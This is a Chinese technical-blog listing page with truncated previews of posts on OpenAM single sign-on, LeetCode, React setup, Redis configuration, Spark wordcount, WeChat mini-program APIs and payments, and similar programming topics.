基于OpenAM系列的SSO----基础 OpenAM简介:OpenAM是一个开源的访问管理.授权服务平台.由ForegeRock公司发起.OpenAM前身为OpenSSO,由SUN公司创建,现在 ...
- 在MAC下调试运行暗黑全世界客户端及部分代码注解(基于Firefly)
原地址:http://www.myexception.cn/program/1399860.html 在MAC下调试运行暗黑全世界客户端及部分代码注解(基于Firefly) 在MAC下调试运行暗黑世界 ...
- 代码 | 自适应大邻域搜索系列之(7) - 局部搜索LocalSearch的代码解析
前言 好了小伙伴们我们又见面了,咳咳没错还是我.不知道你萌接连被这么多篇代码文章刷屏是什么感受,不过,酸爽归酸爽.今天咱们依然讲代码哈~不过今天讲的依然很简单,关于局部搜索LocalSearch的代码 ...
- 基于MSP430G2系列实现的步进电机控制
基于MSP430G2系列实现的步进电机控制 声明:引用请注明出处http://blog.csdn.net/lg1259156776/ 系列博客说明:此系列博客属于作者在大三大四阶段所储备的关于电子电路 ...
随机推荐
- 微信小程序添加卡券到微信卡包,使用wx.addCard()方法传参及整体流程
一.准备: 1.经微信认证过的微信公众号. 2.经微信认证过的微信小程序号. 先来看看微信小程序官方的文档,https://developers.weixin.qq.com/miniprogram/d ...
- LeetCode.1184-公交车站之间的距离(Distance Between Bus Stops)
这是小川的第次更新,第篇原创 看题和准备 今天介绍的是LeetCode算法题中Easy级别的第265题(顺位题号是1184).公交车有n个从0到n-1的车站,形成一个圆圈.我们知道所有相邻车站对之间的 ...
- C#规范整理·资源管理和序列化
资源管理(尤其是内存回收)曾经是程序员的噩梦,不过在.NET平台上这个噩梦似乎已经不复存在.CLR在后台为垃圾回收做了很多事情,使得我们现在谈起在.NET上进行开发时,都会说还是new一个对象吧!回收 ...
- react项目开发环境搭建
1.环境安装,首先要安装node http://nodejs.cn/ 进入nodejs下载,你是window就下在window的反之,安装下一步下一步...就好了 安装成功了试试 node -v , ...
- [bzoj4842][bzoj1283][Neerc2016]Delight for a Cat/序列_线性规划_费用流
4842: [Neerc2016]Delight for a Cat_1283: 序列 题目大意:ls是一个特别堕落的小朋友,对于n个连续的小时,他将要么睡觉要么打隔膜,一个小时内他不能既睡觉也打隔膜 ...
- 微信图片上传 wx.Imagechoose
拍照或从手机相册中选图接口 wx.chooseImage({ count: 1, // 默认9 sizeType: ['original', 'compressed'], // 可以指定是原图还是压缩 ...
- Redis(1.5)Redis配置文件(4.0.14)
4.0.14 常用配置 bind 127.0.0.1 # 默认绑定本地,不写的话任何地址都可以访问 protected-mode yes #保护模式,如果没有设置bind 配置地址,也没有设置任何密码 ...
- spark-scala-java实现wordcount
引入:spark-scala-java实现wordcount 1.spark-scala实现wordcount package com.cw.scala.spark import org.apache ...
- Mf175-用户注册功能-埋点敏捷方案
在不了解埋点系统的情况下,花了五六个小时 帮一位PM朋友做的方案.记录下来.以备后续参考 Mf178-用户注册功能-埋点敏捷方案 版本号 时间 撰写人 描述 V1.0 20190515-10:50:0 ...
- 网站如何接入微信公众号JSAPI支付PHP版
1.首先,我们要有一个微信公众号(分类类型有订阅号,服务号,企业号)我们的微信公众号一定是个服务号只有它才有微信支付接口.. 并且这个微信公众号一定要进行微信认证才能申请微信支付接口. 2.申请JSA ...